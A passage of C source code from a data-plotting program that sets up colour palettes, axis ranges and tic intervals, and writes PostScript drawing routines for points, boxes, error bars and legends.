if(temp_fdata==NULL) {fprintf(stderr,"\n\a--- Error [%s]: insufficient memory\n\n",thisprog);exit(1); }
}
if(setscol>0) {
temp_sdata= realloc(temp_sdata,(n1+1)*sizeofshort);
if(temp_sdata==NULL) {fprintf(stderr,"\n\a--- Error [%s]: insufficient memory\n\n",thisprog);exit(1); }
}
/******************************************************************************/
/******************************************************************************/
// CREATE RGB COLOUR PALETTE
/******************************************************************************/
/******************************************************************************/
if(setverb==999) printf("*** STARTING: CREATE COLOUR PALETTE\n");
/* ...if a colour-palette is defined... */
if(strcmp(setpal,"default")==0) {
ncolours= 32;
red= realloc(red,ncolours*sizeof(*red));
green= realloc(green,ncolours*sizeof(*green));
blue= realloc(blue,ncolours*sizeof(*blue));
if(red==NULL||green==NULL||blue==NULL) {fprintf(stderr,"\n\a--- Error [%s]: insufficient memory\n\n",thisprog);exit(1);}
red[0]=.00; green[0]=.00; blue[0]=.00;
red[1]=.75; green[1]=.10; blue[1]=.20;
red[2]=.50; green[2]=.25; blue[2]=.50;
red[3]=.00; green[3]=.25; blue[3]=.60;
red[4]=.20; green[4]=.70; blue[4]=.70;
red[5]=.20; green[5]=.50; blue[5]=.10;
red[6]=.85; green[6]=.85; blue[6]=.10;
red[7]=.70; green[7]=.30; blue[7]=.00;
red[8]=.30; green[8]=.30; blue[8]=.30;
red[9]=1.0; green[9]=.00; blue[9]=.00;
red[10]=1.0; green[10]=.00; blue[10]=1.0;
red[11]=.00; green[11]=.00; blue[11]=1.0;
red[12]=.00; green[12]=1.0; blue[12]=1.0;
red[13]=.00; green[13]=1.0; blue[13]=.00;
red[14]=1.0; green[14]=1.0; blue[14]=.00;
red[15]=1.0; green[15]=.50; blue[15]=.00;
red[16]=.50; green[16]=.50; blue[16]=.50;
red[17]=1.0; green[17]=.50; blue[17]=.50;
red[18]=1.0; green[18]=.50; blue[18]=1.0;
red[19]=.50; green[19]=.60; blue[19]=1.0;
red[20]=.50; green[20]=1.0; blue[20]=1.0;
red[21]=.50; green[21]=1.0; blue[21]=.50;
red[22]=1.0; green[22]=1.0; blue[22]=.50;
red[23]=1.0; green[23]=.70; blue[23]=.30;
red[24]=.75; green[24]=.75; blue[24]=.75;
red[25]=1.0; green[25]=.75; blue[25]=.75;
red[26]=1.0; green[26]=.75; blue[26]=1.0;
red[27]=.75; green[27]=.80; blue[27]=1.0;
red[28]=.75; green[28]=1.0; blue[28]=1.0;
red[29]=.75; green[29]=1.0; blue[29]=.75;
red[30]=1.0; green[30]=1.0; blue[30]=.75;
red[31]=1.0; green[31]=.90; blue[31]=.50;
}
/* READ A PALETTE FILE IF SETPAL ENDS IN ".TXT"
- any non-comment, not-blank lines must contain three numbers (0-1) representing red, green and blue
- as each triplet is read, it is assignied to groups 0,1,2,3 etc - may differ from the group-label
*/
else if(strstr(setpal,".txt")!=NULL) {
if((fpin=fopen(setpal,"r"))==0) {fprintf(stderr,"\n--- Error [%s]: palette file \"%s\" not found\n\n",thisprog,setpal);exit(1);}
jj=kk= 0; // jj=linecounter, kk=colour-counter
while(fgets(line,MAXLINELEN,fpin)!=NULL) {
jj++;
if(line[0]=='#') continue; // allow some comments
if(strlen(line)<2) continue; // allow blank lines
if(sscanf(line,"%f %f %f",&a,&b,&c)!=3) {fprintf(stderr,"\n--- Error [%s]: palette file %s line %ld does not contain an RGB triplet\n\n",thisprog,setpal,jj);exit(1);}
red= realloc(red,(kk+1)*sizeof(*red));
green= realloc(green,(kk+1)*sizeof(*green));
blue= realloc(blue,(kk+1)*sizeof(*blue));
if(red==NULL||green==NULL||blue==NULL) {fprintf(stderr,"\n\a--- Error [%s]: insufficient memory\n\n",thisprog);exit(1);}
red[kk]= a;
green[kk]= b;
blue[kk]= c;
kk++;
}
if(strcmp(infile,"stdin")!=0) fclose(fpin);
if(kk<ngrps) {fprintf(stderr,"\n--- Error [%s]: palette file %s defines too few colours (%ld) for the number of groups (%ld) \n\n",thisprog,setpal,kk,ngrps);exit(1);}
ncolours= kk;
}
/* USE XF_PALETTE7 IF SETPAL IS NEITHER DEFAULT NOR A FILE
- this allows preset options for palette including grey,black2grey,rainbow,viridis,plasma,magma,inferno
*/
else {
setdatacolour= 0;
setebright= 0;
ncolours= ngrps;
/* adjust number of colours (kk) slightly for palettes where the top is close to white */
kk=ncolours;
if(kk<10 && (strcmp(setpal,"magma")==0||strcmp(setpal,"inferno")==0)) kk+=1;
red= realloc(red,kk*sizeof(*red));
green= realloc(green,kk*sizeof(*green));
blue= realloc(blue,kk*sizeof(*blue));
if(red==NULL||green==NULL||blue==NULL) {fprintf(stderr,"\n\a--- Error [%s]: insufficient memory\n\n",thisprog);exit(1);}
for(ii=0;ii<kk;ii++) red[ii]=green[ii]=blue[ii]=NAN;
x= xf_palette7(red,green,blue,kk,setpal,setpalrev);
}
/******************************************************************************/
/******************************************************************************/
// DETERMINE GROUP-RANKS, FOR COLOURS AND STACKED-PLOT POSITIONING
// - at this point we have defined gdata[], gwords[], igword[], ngrps
// - calculate the rank for each group
// - if groups are numeric, ranks are determined by the group-number
// - otherwise rank is determined by order of appearance
/******************************************************************************/
/******************************************************************************/
if(setverb==999) printf("*** STARTING: GROUP RANKING\n");
if(gnums==1) {
if(temprank==NULL||tempdouble==NULL) {fprintf(stderr,"\n\a--- Error [%s]: insufficient memory\n\n",thisprog);exit(1); }
for(ii=0;ii<ngrps;ii++) temprank[ii]= ii;
for(ii=0;ii<ngrps;ii++) tempdouble[ii]= atof(gwords+igword[ii]);
xf_qsortindex1_d(tempdouble,temprank,(long)ngrps);
for(ii=0;ii<ngrps;ii++) grprank[temprank[ii]]=ii;
}
else {
for(ii=0;ii<ngrps;ii++) grprank[ii]= ii;
}
if(setverb==999) for(ii=0;ii<ngrps;ii++) printf("\tgrp=%ld\tvalue=%f\tgrprank=%ld\n",ii,atof(gwords+igword[ii]),grprank[ii]);
/* CHECK FOR DISCONTIGUOUS X-VALUES IF SETLINEBREAK==2 */
if(setlinebreak==2) for(ii=1;ii<n1;ii++) if(xdata[(ii-1)]>xdata[ii]) linebreak[ii]=1;
/******************************************************************************/
/******************************************************************************/
/* APPLY JITTER TO X-VALUES */
/* - a little complicated because for each unique xdata, ydata must be copied and jittered xdata copied back */
/******************************************************************************/
/******************************************************************************/
if(setverb==999) printf("*** STARTING: JITTER APPLICATION\n");
if(setjitter>0.0) {
mm= n1;
/* allocate memory for index */
tempindex= realloc(tempindex,(n1*sizeoflong));
if(tempindex==NULL) {fprintf(stderr,"\n\a--- Error [%s]: insufficient memory\n\n",thisprog);exit(1); }
/* find unique data */
temp_xunique= xf_unique_d(xdata,&mm,message); //TEST: for(ii=0;ii<mm;ii++) printf("%g\n",temp_xunique[ii]);
if(temp_xunique==NULL) { fprintf(stderr,"\n\t--- %s/%s\n\n",thisprog,message); exit(1); }
/* for each unique x, get the mean jitter the values */
for(ii=0;ii<mm;ii++) {
aa= temp_xunique[ii];
kk= 0;
for(jj=0;jj<n1;jj++) {
if(xdata[jj]==aa) {
temp_ydata[kk]= ydata[jj];
tempindex[kk]= jj;
kk++;
}}
/* now generate the jittered x-values */
tempjit= xf_jitter1_d(temp_ydata,kk,aa,setjitter,message);
if(tempjit==NULL) { fprintf(stderr,"\n\t--- %s/%s\n\n",thisprog,message); exit(1); } //TEST: for(jj=0;jj<kk;jj++) printf("%ld\t%ld\t%g\t%g\n",jj,tempindex[jj],tempjit[jj],temp_ydata[jj]);
/* copy the jittered x-values back to the original xdata array */
for(jj=0;jj<kk;jj++) xdata[tempindex[jj]]= tempjit[jj];
/*release the memory */
free(tempjit);
}
free(tempindex);
free(temp_xunique);
}
//TEST: for(jj=0;jj<n1;jj++) printf("%g\t%g\n",xdata[jj],ydata[jj]);
/******************************************************************************/
/******************************************************************************/
/* UPDATE DATA RANGES */
/******************************************************************************/
/******************************************************************************/
if(setverb==999) printf("*** STARTING: UDPDATING DATA RANGES\n");
/* DETERMINE XMIN,XMAX,YMIN,YMAX, INCLUDING X/Y-ERRORBARS */
xmin=xmax=xdata[0];
ymin=ymax=ydata[0];
if(setecol>0) { ymin-=edata[0]; ymax+=edata[0]; }
if(setfcol>0) { xmin-=fdata[0]; xmax+=fdata[0]; }
for(ii=0;ii<n1;ii++){
if(setecol>0) ee= edata[ii]; else ee= 0.0;
if(setfcol>0) ff= fdata[ii]; else ff= 0.0;
aa= ydata[ii]-ee ; if(aa<ymin) ymin=aa;
aa= ydata[ii]+ee ; if(aa>ymax) ymax=aa;
aa= xdata[ii]-ff ; if(aa<xmin) xmin=aa;
aa= xdata[ii]+ff ; if(aa>xmax) xmax=aa;
}
/* auto-audjust if there is no variance in the x-data or y-data */
if(xmin==xmax) { if(xmin==0) {xmin=-1; xmax=1;} else {aa=fabs(xmin/2.0); xmin=xmin-aa; xmax=xmax+aa; if(setxint==0) setxint=aa;} }
if(ymin==ymax) { if(ymin==0) {ymin=-1; ymax=1;} else {aa=fabs(ymin/2.0); ymin=ymin-aa; ymax=ymax+aa; if(setyint==0) setyint=aa;} }
/* MIN/MAX MANUAL OVERRIDES */
/* 1. for box-plots and histograms, determine if bars should "radiate" from zero */
if(strcmp(plottype,"histo")==0 || strcmp(plottype,"box")==0) {
if(ymin>0.0 && boxyzero==1) ymin=0.0; // reset ymin to zero if necessary
if(ymax<0.0 && boxyzero==1) ymax=0.0; // reset ymax to zero if necessary
}
/* 2. override min/max if either is very close to zero (less than 1/10 the range) */
if( xmin>0.0 && xmin<((xmax-xmin)/(10.0)) ) xmin=0.0;
if( xmax<0.0 && xmax>((xmax-xmin)/(-10.0)) ) xmax=0.0;
if( ymin>0.0 && ymin<((ymax-ymin)/(10.0)) ) ymin=0.0;
if( ymax<0.0 && ymax>((ymax-ymin)/(-10.0)) ) ymax=0.0;
/* 3. override all min/max with command-line settings */
if(setxmin==1) xmin= setxminval;
if(setxmax==1) xmax= setxmaxval;
if(setymin==1) ymin= setyminval;
if(setymax==1) ymax= setymaxval;
/* 4. override to accomodate user-lines, if required */
if(sethline==1 && hlinemin<ymin) ymin=hlinemin;
if(sethline==1 && hlinemax>ymax) ymax=hlinemax;
if(setvline==1 && vlinemin<xmin) xmin=vlinemin;
if(setvline==1 && vlinemax>xmax) xmax=vlinemax;
/* 5. final check for invalid min-max values - possible if user defines a min or max value outside the data range? */
if(xmin>xmax) {fprintf(stderr,"\n\a--- Error [%s]: xmin (%g) must be <= xmax (%g)\n\n",thisprog,xmin,xmax);exit(1); }
if(ymin>ymax) {fprintf(stderr,"\n\a--- Error [%s]: ymin (%g) must be <= ymax (%g)\n\n",thisprog,ymin,ymax);exit(1); }
/* DETERMINE RANGES, TIC-INTERVALS (OR MANUAL), TIC-PRECISION & PADDING */
/* determine data ranges based on final decision regarding min and max values, above */
xrange= xmax-xmin;
yrange= ymax-ymin;
/* set tic-intervals based on range, if not manually set */
if(setxint>0) xint= setxint;
else {
xint= xf_trimdigits_d((xrange/5.0),1);
/* FOR PLOTS WITH BOXES SHIFTED ON THE X-AXIS, ATTEMPT TO FURTHER OPTIMISE THE X-INTERVAL */
if(setgshift==1 || setxcol==setgcol) {
// get the list of unique x-values - jj is the total count of unique values
for(ii=0;ii<n1;ii++) temp_xdata[ii]= xdata[ii];
qsort(temp_xdata,n1,sizeof(double),xf_compare1_d);
aa= temp_xdata[0]; for(ii=jj=1;ii<n1;ii++) { if(temp_xdata[ii]!=aa) temp_xdata[jj++]= temp_xdata[ii]; aa= temp_xdata[ii]; }
// convert to the interval between the unique values (do not run to last value)
for(ii=0;ii<(jj-1);ii++) temp_xdata[ii]= temp_xdata[ii+1]-temp_xdata[ii]; jj--;
// find the smallest interval - use this
bb= temp_xdata[ii]; for(ii=1;ii<jj;ii++) if(temp_xdata[ii]<bb) bb= temp_xdata[ii];
xint= (long)bb;
}}
if(setyint>0) yint= setyint;
else yint= xf_trimdigits_d((yrange/5.0),1);
/* set tic-precision based on tic-intervals */
if(xint>10) xticprecision= 0;
else xticprecision= xf_precision_d(xint,8);
if(yint>10) yticprecision= 0;
else yticprecision= xf_precision_d(yint,8);
/* determine padding (or manual override) based on tic-intervals */
if(setxpad<0) setxpad= xint*0.5;
if(setypad<0) setypad= yint*0.5;
/* determine actual minimum and maximum tics - to make sure integer-precision doesn't place tics outside plot boundaries */
xticmin= xmin; xticmax= xmax;
if(xticprecision==0) {
xticmin= xf_round1_d(xmin,1,0); if(xticmin<xmin) xticmin+=1.0;
xticmax= xf_round1_d(xmax,1,0); if(xticmax>xmax) xticmax-=1.0;
}
yticmin= ymin; yticmax= ymax;
if(yticprecision==0) {
yticmin= xf_round1_d(ymin,1,0); if(yticmin<ymin) yticmin+=1.0;
yticmax= xf_round1_d(ymax,1,0); if(yticmax>ymax) yticmax-=1.0;
}
/* ADJUST PLOT SIZE AND DETERMINE FACTOR BY WHICH TO ADJUST VALUES FOR PLOTTING */
xlimit*=xscale;
ylimit*=yscale;
xfactor=xlimit/(xrange+2*setxpad);
yfactor=ylimit/(yrange+2*setypad);
/* DETERMINE MAXIMUM CHARACTERS IN Y-AXIS TIC-LABELS, FORM MAP OFFSET */
/* if setyint==-1, there will be no y-tics so the value stays at 0 */
yticmaxchar=0.0; // this is used for the whole page zero-offset
bigtic[0]= '\0'; // this is used for the y-axis label offset (yaloff) - should be the largest tic-value, but still depends on the font! 0.00 is actually bigger than 1.11 ! ???
if(setyint!=-1) {
if((ymin<=0. && ymax>0.)||(ymax>=0 && ymin<0.)) {
for(aa=0;aa>=ymin;aa-=yint) {
if(yticprecision==0) snprintf(message,MAXWORDLEN,"%ld",(long)aa);
else snprintf(message,MAXWORDLEN,"%.*f",yticprecision,aa);
z=strlen(message);
if(z>(int)yticmaxchar) {yticmaxchar=(float)z;snprintf(bigtic,MAXWORDLEN,"%s",message); }
}
for(aa=(0+yint);aa<=ymax;aa+=yint) {
if(yticprecision==0) snprintf(message,MAXWORDLEN,"%ld",(long)aa);
else snprintf(message,MAXWORDLEN,"%.*f",yticprecision,aa);
z=strlen(message);
if(z>(int)yticmaxchar) {yticmaxchar=(float)z;snprintf(bigtic,MAXWORDLEN,"%s",message); }
}
}
else {
for(aa=ymin; aa<=ymax; aa+=yint) {
if(yticprecision==0) snprintf(message,MAXWORDLEN,"%ld",(long)aa);
else snprintf(message,MAXWORDLEN,"%.*f",yticprecision,aa);
z=strlen(message);
if(z>(int)yticmaxchar) { yticmaxchar=(float)z; snprintf(bigtic,MAXWORDLEN,"%s",message); }
}
}
}
if( yint!=(int)yint) yticmaxchar-=0.75 ; // reduced width for inclusion of a decimal
if( ymin<0) yticmaxchar-=0.5 ; // reduced width for the negative symbol
//TEST:fprintf(stderr,"yticmaxchar=%g\n",yticmaxchar); fprintf(stderr,"bigtic=%s\n",bigtic); exit(0);
/* AUTOMATICALLY SET zx AND zy TO ACCOUNT FOR AXIS LABELS */
if(zx<0) zx= (-1.0*setticsize) + (fontsize*yticmaxchar) + (fontsize*4);
if(zy<0) zy= 842-(ylimit + fontsize*4) ; // 842 = y-points in an A4 page
// SET LIMITS WHICH TAKE INTO ACCOUNT TIC SIZE, AXIS VALUES AND AXIS LABELS
psxmin=zx-setticsize-fontsize*4.0-(fontsize*2+2.0);
psymin=zy-setticsize-fontsize*2.0-(fontsize*2.0+2.0);
psxmax=zx+xlimit+fontsize*4.0;
psymax=zy+ylimit+fontsize*2.0;
// DETERMINE X-SHIFTS FOR PLOT TO ALLOW SIDE-BY SIDE PLOTTING OF GROUP DATA, IF REQUIRED
for(ii=0;ii<ngrps;ii++) grpshift[ii]=0.0;
if(setgshift==1) {
x=(int)((float)ngrps/2.0); // number of shifts
a=(float)xint/(float)(ngrps+1); // shift between each group
b=0; if((ngrps%2)==0) b=a/2.0; // shift value for smallest group-id
for(jj=0;jj<ngrps;jj++) {grpshift[jj]=b; b+=a; } // set initial shift values for each group index
for(ii=0;ii<x;ii++) { for(jj=0;jj<ngrps;jj++) {grpshift[jj]-=a; } } // shifting the shifts (!) backwards to centre on the middle index
}
// IF NOT SET, AUTOMATICALLY DETERMINE BOX-WIDTH, ERROR-BAR WIDTH AND ERROR-LINE WIDTH
if(boxwidth==0) {
if(setgshift==1) {
aa= xint * (1.0/(ngrps+1)); // this would have the boxes toucing one another with a box-width between x-tic intervals
aa= aa * 0.85; // adjustement to put small gap between boxes
boxwidth= aa;
}
else boxwidth= xint*0.75;
}
if(setewidth==0) ewidth=0.5*boxwidth;
if(setelwidth==0) lwerror=0.5*lwdata;
/* DIAGNOSTIC OUTPUT */
if(setverb>0) {
fprintf(stderr,"--------------------------------------------------------------------------------\n");
fprintf(stderr,"xmin= %f\n",xmin);
fprintf(stderr,"xmax= %f\n",xmax);
fprintf(stderr,"xrange= %f\n",xrange);
fprintf(stderr,"xint= %f\n",xint);
fprintf(stderr,"xticprecision= %d\n",xticprecision);
fprintf(stderr,"xlimit= %f\n",xlimit);
fprintf(stderr,"xfactor= %f\n",xfactor);
fprintf(stderr,"zx= %f\n",zx);
fprintf(stderr,"psxmin= %f\n",psxmin);
fprintf(stderr,"psxmax= %f\n",psxmax);
fprintf(stderr,"\n");
fprintf(stderr,"ymin= %f\n",ymin);
fprintf(stderr,"ymax= %f\n",ymax);
fprintf(stderr,"yrange= %f\n",yrange);
fprintf(stderr,"yint= %f\n",yint);
fprintf(stderr,"yticprecision= %d\n",yticprecision);
fprintf(stderr,"xlimit= %f\n",xlimit);
fprintf(stderr,"yfactor= %f\n",yfactor);
fprintf(stderr,"zy= %f\n",zy);
fprintf(stderr,"psymin= %f\n",psymin);
fprintf(stderr,"psymax= %f\n",psymax);
fprintf(stderr,"boxwidth= %g\n",boxwidth);
fprintf(stderr,"ngrps= %ld\n",ngrps);
fprintf(stderr,"ncolours= %ld\n",ncolours);
fprintf(stderr,"\n");
for(ii=0;ii<ngrps;ii++) printf("label[%ld]=%s\trank=%ld\n",ii,(gwords+igword[ii]),grprank[ii]);
fprintf(stderr,"--------------------------------------------------------------------------------\n");
}
/******************************************************************************/
/******************************************************************************/
/* NOW PRODUCE THE POSTSCRIPT OUTPUT */
/******************************************************************************/
/******************************************************************************/
if(setverb==999) printf("*** STARTING: POSTSCRIPT SETUP\n");
/* OPEN POSTSCRIPT FILE */
if((fpout=fopen(outfile,"w"))==0) {fprintf(stderr,"\n\a--- Error [%s]: file \"%s\" could not be opened for writing\n\n",thisprog,outfile);exit(1); }
/* PRINT BASIC POSTSCRIPT FILE HEADER */
fprintf(fpout,"%%!\n");
/* DEFINE BOUNDING BOX FOR PRINTING, PDF CONVERSION ETC */
//fprintf(fpout,"%%%%BoundingBox: %g %g %g %g\n",psxmin,psymin,psxmax,psymax);
fprintf(fpout,"%%%%BoundingBox: 0 0 595 842\n"); // this assumes an A4 page
/* basic variables */
fprintf(fpout,"/Helvetica findfont 12.00 scalefont setfont\n");
fprintf(fpout,"/basefontsize {%g} def\n",fontsize);
fprintf(fpout,"/starfont {basefontsize 1 add} def\n");
fprintf(fpout,"/legendfontsize {basefontsize %g mul} def\n",setlegendscale);
fprintf(fpout,"/ticsize {%g} def\n",setticsize);
/* DEFINE COLOUR SET */
fprintf(fpout,"\n%% DEFINE_COLOUR\tGROUP-LABEL\n");
for(ii=0;ii<ncolours;ii++) {
fprintf(fpout,"/c%ld {%.4f %.4f %.4f} def\t",ii,red[ii],green[ii],blue[ii]);
if(ii<ngrps) fprintf(fpout,"\t%% %s\n",gwords+igword[ii]);
else fprintf(fpout,"\n");
}
fprintf(fpout,"/cw {1. 1. 1.} def %% open_points_fill\n");
fprintf(fpout,"/cf {.0 .0 .0} def %% frame_colour\n");
fprintf(fpout,"/ct {.5 .5 .5} def %% title colour\n");
/* DEFINE AXIS FUNCTIONS - TICS, LABELS, TITLES */
fprintf(fpout,"\n%% DEFINE_AXIS_FUNCTIONS\n");
/* tics */
fprintf(fpout,"ticsize 0 lt {/ticout ticsize def} {/ticout 0 def} ifelse \n");
fprintf(fpout,"/xtic { newx dup 0 exch 0 moveto 0 ticsize rlineto stroke xticlabel} def\n");
fprintf(fpout,"/ytic { newy 0 exch 1 index 1 index moveto ticsize 0 rlineto stroke yticlabel } def\n");
/* label-offsets for tics and axes */
if(setxint==-1) {
fprintf(fpout,"/xtloff { basefontsize -0.6 mul } def\n");
fprintf(fpout,"/xaloff { basefontsize -0.6 mul } def\n");
}
else {
fprintf(fpout,"/xtloff { basefontsize -1.0 mul ticout add } def\n");
fprintf(fpout,"/xaloff { basefontsize -1.0 mul ticout add } def\n");
}
if(setyint==-1) {
fprintf(fpout,"/ytloff { basefontsize -0.15 mul } def\n");
fprintf(fpout,"/yaloff { basefontsize 0.5 mul (%s) stringwidth pop add } def\n",bigtic);
}
else{
fprintf(fpout,"/ytloff { basefontsize -.333 mul ticout add } def\n");
fprintf(fpout,"/yaloff { basefontsize 0.5 mul (%s) stringwidth pop add ticout neg add } def\n",bigtic);
}
/* tics-labels: offsets determined by font and tic-size, and whether tics are positive or negative */
fprintf(fpout,"/xticlabel { moveto dup stringwidth pop 2 div neg xtloff rmoveto show } def\n");
fprintf(fpout,"/yticlabel { moveto dup stringwidth pop neg ytloff add -0.333 basefontsize mul rmoveto show } def\n");
/* x-axis-label: position based on string-length, then use tic-label-offset, then apply final correction based on label font-size */
fprintf(fpout,"/xaxislabel { moveto dup stringwidth pop 2 div neg 0 rmoveto 0 xtloff rmoveto 0 basefontsize 2 add neg rmoveto show } def\n");
/* y-axis-label: this requires an additional offset-definition (yaloff) which accounts for the largest y-axis tic label */
fprintf(fpout,"/yaxislabel { 90 rotate moveto dup stringwidth pop 2 div neg yaloff rmoveto show -90 rotate } def\n");
fprintf(fpout,"/f_plottitle { ct setrgbcolor basefontsize .5 mul add moveto ytloff 4 mul basefontsize 2 div rmoveto show cf setrgbcolor } def\n");
/* DEFINE LEGEND FUNCTION */
/* plot-legend function - includes a coloured square and the label for the group */
/* - make sure a complete function is generated, even if technically no legend is required */
fprintf(fpout,"/f_plotlegend {\n");
fprintf(fpout," setrgbcolor\n");
fprintf(fpout," 2 copy\n");
fprintf(fpout,"\n");
if(setlegend==0) fprintf(fpout,"\tytloff 4 mul xtloff 3 mul moveto\n");
if(setlegend==1) fprintf(fpout,"\tytloff 4 mul xtloff 3 mul moveto\n");
if(setlegend==2) fprintf(fpout,"\t%g legendfontsize add %g legendfontsize -1.2 mul add moveto\n",xlimit,ylimit);
fprintf(fpout,"\tlegendfontsize mul -1.25 mul rmoveto\n");
fprintf(fpout,"\t0 legendfontsize rlineto\n");
fprintf(fpout,"\tlegendfontsize 0 rlineto\n");
fprintf(fpout,"\t0 legendfontsize neg rlineto\n");
fprintf(fpout,"\tfill\n");
fprintf(fpout,"\n");
if(setlegend==0) fprintf(fpout,"\tytloff 4 mul pointsize 2 mul add xtloff 2 mul moveto\n");
if(setlegend==1) fprintf(fpout,"\tytloff 3.75 mul legendfontsize add xtloff 2.95 mul moveto\n");
if(setlegend==2) fprintf(fpout,"\t%g legendfontsize add legendfontsize 1.3 mul add %g legendfontsize neg add moveto\n",xlimit,ylimit);
fprintf(fpout," legendfontsize mul -1.25 mul rmoveto\n");
fprintf(fpout," cf setrgbcolor\n");
fprintf(fpout," show\n");
fprintf(fpout,"} def\n");
/* DEFINE_DATA_DRAWING_FUNCTIONS */
fprintf(fpout,"\n%% DEFINE_DATA_DRAWING_FUNCTIONS\n");
/* define plot commands for lines connecting points */
fprintf(fpout,"/line {\n");
fprintf(fpout," newpoint lineto\n");
fprintf(fpout," } def \n");
fprintf(fpout,"\n");
/* define plot commands for histogram (vertical bars) */
fprintf(fpout,"/histo {\n");
fprintf(fpout," newpoint moveto\n");
fprintf(fpout," currentpoint pop boxyzero lineto\n");
fprintf(fpout," stroke\n");
fprintf(fpout," } def \n");
fprintf(fpout,"\n");
/* define plot commands for horizontal bar */
fprintf(fpout,"/bar {\n");
fprintf(fpout," newpoint moveto\n");
fprintf(fpout," boxwidth 2 div neg 0 rmoveto boxwidth 0 rlineto\n");
fprintf(fpout," stroke\n");
fprintf(fpout," } def\n");
fprintf(fpout,"\n");
/* define plot commands for boxplot - filled or open */
fprintf(fpout,"/box {\n");
fprintf(fpout," newpoint moveto\n");
fprintf(fpout," boxwidth 2 div neg 0 rmoveto boxwidth 0 rlineto\n");
fprintf(fpout," currentpoint pop boxyzero lineto\n");
fprintf(fpout," boxwidth neg 0 rlineto\n");
fprintf(fpout," pointdraw\n");
fprintf(fpout," } def\n");
fprintf(fpout,"\n");
/* define plot commands for white-filled boxplot */
fprintf(fpout,"/boxw {\n");
fprintf(fpout," newpoint moveto\n");
fprintf(fpout," boxwidth 2 div neg 0 rmoveto boxwidth 0 rlineto\n");
fprintf(fpout," currentpoint pop boxyzero lineto\n");
fprintf(fpout," boxwidth neg 0 rlineto\n");
fprintf(fpout," closepath\n");
fprintf(fpout," gsave\n");
fprintf(fpout," 1.0 setgray fill\n");
fprintf(fpout," grestore\n");
fprintf(fpout," stroke\n");
fprintf(fpout," } def\n");
fprintf(fpout,"\n");
/* define plot commands for square - filled or open */
fprintf(fpout,"/squ {\n");
fprintf(fpout," newpoint moveto\n");
fprintf(fpout," pointsize 2 div neg pointsize 2 div neg rmoveto\n");
fprintf(fpout," 0 pointsize rlineto\n");
fprintf(fpout," pointsize 0 rlineto\n");
fprintf(fpout," 0 pointsize neg rlineto\n");
fprintf(fpout," pointdraw\n");
fprintf(fpout," } def\n");
fprintf(fpout,"\n");
/* define plot commands for white-filled square */
fprintf(fpout,"/squw {\n");
fprintf(fpout," newpoint moveto\n");
fprintf(fpout," pointsize 2 div neg pointsize 2 div neg rmoveto\n");
fprintf(fpout," 0 pointsize rlineto\n");
fprintf(fpout," pointsize 0 rlineto\n");
fprintf(fpout," 0 pointsize neg rlineto\n");
fprintf(fpout," closepath\n");
fprintf(fpout," gsave\n");
fprintf(fpout," 1.0 setgray fill\n");
fprintf(fpout," grestore\n");
fprintf(fpout," stroke\n");
fprintf(fpout," } def\n");
fprintf(fpout,"\n");
/* define plot commands for triangle - filled or open */
fprintf(fpout,"/tri {\n");
fprintf(fpout," newpoint moveto\n");
fprintf(fpout," pointsize 2 div neg pointsize 2 div neg rmoveto\n");
fprintf(fpout," pointsize 2 div pointsize rlineto\n");
fprintf(fpout," pointsize 2 div pointsize neg rlineto\n");
fprintf(fpout," pointdraw\n");
fprintf(fpout," } def\n");
fprintf(fpout,"\n");
/* define plot commands for white-filled triangle */
fprintf(fpout,"/triw {\n");
fprintf(fpout," newpoint moveto\n");
fprintf(fpout," pointsize 2 div neg pointsize 2 div neg rmoveto\n");
fprintf(fpout," pointsize 2 div pointsize rlineto\n");
fprintf(fpout," pointsize 2 div pointsize neg rlineto\n");
fprintf(fpout," closepath\n");
fprintf(fpout," gsave\n");
fprintf(fpout," 1.0 setgray fill\n");
fprintf(fpout," grestore\n");
fprintf(fpout," stroke\n");
fprintf(fpout," } def\n");
fprintf(fpout,"\n");
/* define plot commands for circle - filled or open */
fprintf(fpout,"/cir {\n");
fprintf(fpout," newpoint pointsize 2 div 0 360 arc\n");
fprintf(fpout," pointdraw\n");
fprintf(fpout," stroke\n");
fprintf(fpout," } def\n");
fprintf(fpout,"\n");
/* define plot commands for white-filled circle */
fprintf(fpout,"/cirw {\n");
fprintf(fpout," newpoint pointsize 2 div 0 360 arc\n");
fprintf(fpout," closepath\n");
fprintf(fpout," gsave\n");
fprintf(fpout," 1.0 setgray fill\n");
fprintf(fpout," grestore\n");
fprintf(fpout," stroke\n");
fprintf(fpout," } def\n");
fprintf(fpout,"\n");
/* define plot commands for y-error-bars */
fprintf(fpout,"/E {\n");
fprintf(fpout," newpath\n");
fprintf(fpout," newpoint moveto\n"); // move to x/y coordinates - e remains
fprintf(fpout," dup\n"); // duplicate z (height of error bar)
fprintf(fpout," 0 exch rmoveto\n"); // move to top of errorbar (takes 1 of the e-values, leaves 1)
fprintf(fpout," ewidth 2 div neg 0 rmoveto ewidth 0 rlineto\n"); // draw top of error bar
fprintf(fpout," ewidth 2 div neg 0 rmoveto\n"); // return to x-middle of errorbar
fprintf(fpout," 0 exch neg 2 mul rlineto\n"); // draw vertical line using remaining e-value
fprintf(fpout," ewidth 2 div neg 0 rmoveto ewidth 0 rlineto\n"); // draw bottom of errorbar
fprintf(fpout," stroke\n");
fprintf(fpout," } def\n");
/* define plot commands for x-error-bars */
fprintf(fpout,"/F {\n");
fprintf(fpout," newpath\n");
fprintf(fpout," newpoint moveto\n"); // move to x/y coordinates - f remains
fprintf(fpout," dup\n"); // duplicate f (width of error)
fprintf(fpout," neg 0 rmoveto\n"); // move to left of errorbar (takes 1 of the z-values, leaves 1)
fprintf(fpout," fwidth 2 div neg 0 exch rmoveto 0 fwidth rlineto\n"); // draw left of error bar
fprintf(fpout," fwidth 2 div neg 0 exch rmoveto\n"); // return to x-middle of errorbar
fprintf(fpout," 2 mul 0 rlineto\n"); // draw horizontal line using remaining f-value
fprintf(fpout," fwidth 2 div neg 0 exch rmoveto 0 fwidth rlineto\n"); // draw right of errorbar
fprintf(fpout," stroke\n");
fprintf(fpout," } def\n");
/* define plot commands for stars above error bars (significance levels) */
fprintf(fpout,"/HSTARS1 { %% Add horizontal stars above mean : call [nstars] [x] [y] S\n");
fprintf(fpout," newpath\n");
fprintf(fpout," newpoint moveto\n"); // move to x/y coordinates - f remains
fprintf(fpout," dup\n"); // duplicate the value for number-of-stars - used for x-adjustment n next step
fprintf(fpout," starfont -5.4 div mul 0 rmoveto\n"); // x-shift based on fraction of font-size to align "*" to middle of x-position
fprintf(fpout," { (*) show } repeat\n"); // last remaining argument (nstars) used for loop
fprintf(fpout," } def\n");
fprintf(fpout,"/VSTARS1 { %% Add vertical stars above mean : call [nstars] [x] [y] S\n");
fprintf(fpout," newpath\n");
